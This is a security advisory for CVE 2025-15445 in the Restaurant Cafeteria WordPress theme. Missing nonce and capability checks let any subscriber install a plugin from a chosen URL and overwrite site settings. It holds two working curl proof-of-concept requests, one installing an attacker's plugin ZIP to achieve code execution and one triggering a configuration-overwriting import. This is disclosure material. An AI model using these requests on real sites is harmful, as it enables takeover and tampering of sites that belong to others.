Restaurant Cafeteria <= 0.4.6 – Subscriber+ Arbitrary Plugin Installation/Activation | CVE 2025-15445

Description

The theme exposes insecure admin-ajax actions without nonce or capability checks, allowing any logged-in user, like subscriber, to perform privileged operations. An attacker can install and activate a plugin from a user-supplied URL, leading to arbitrary PHP code execution, and also import demo content that rewrites site configuration, including theme_mods, pages, menus, and front page settings.

Proof of Concept

PoC 1:

Prerequisites:
  • Any logged-in user on the target site (no special capabilities required).
  • A plugin ZIP hosted at an attacker-controlled URL. The ZIP must contain a folder matching the text domain and a valid main plugin file, e.g.:
       evilplug.zip
         └─ evilplug/
            └─ evilplug.php   (contains standard WP plugin header)

Request:

  curl -i 'http://localhost:10005/wp-admin/admin-ajax.php' \
    -H 'Cookie: wordpress_logged_in_743590ba59234b9fc8eaaf393199b671=su%7C1770885227%7Cp9q4wmkObebmpybSI4yaZF1PBYqxLFGKHBXbXA9BqFn%7Ca1be04d91d0c41c314b4e3079095389e434bdc1ff5a19e90af7bfe433e01b610; wp-settings-time-3=1770713794' \
    -d 'action=restaurant_cafeteria_install_and_activate_plugin' \
    -d 'plugin_details[plugin_text_domain]=evilplug' \
    -d 'plugin_details[plugin_main_file]=evilplug.php' \
    -d 'plugin_details[plugin_url]=http://localhost:10005/evilplug.zip'

Expected Result:
  • The ZIP is downloaded into wp-content/plugins/, extracted, and activated.
  • The plugin’s code executes on activation (RCE via plugin code).

==============
==============

PoC 2:

Request:
  curl -i 'http://localhost:10005/wp-admin/admin-ajax.php' \
    -H 'Cookie: wordpress_logged_in_743590ba59234b9fc8eaaf393199b671=su%7C1770885227%7Cp9q4wmkObebmpybSI4yaZF1PBYqxLFGKHBXbXA9BqFn%7Ca1be04d91d0c41c314b4e3079095389e434bdc1ff5a19e90af7bfe433e01b610; wp-settings-time-3=1770713794' \
    -d 'action=import_theme_mods'

Expected Result:
  • Theme mods, front page, posts/pages, and menus are created/modified according to the theme’s demo configuration.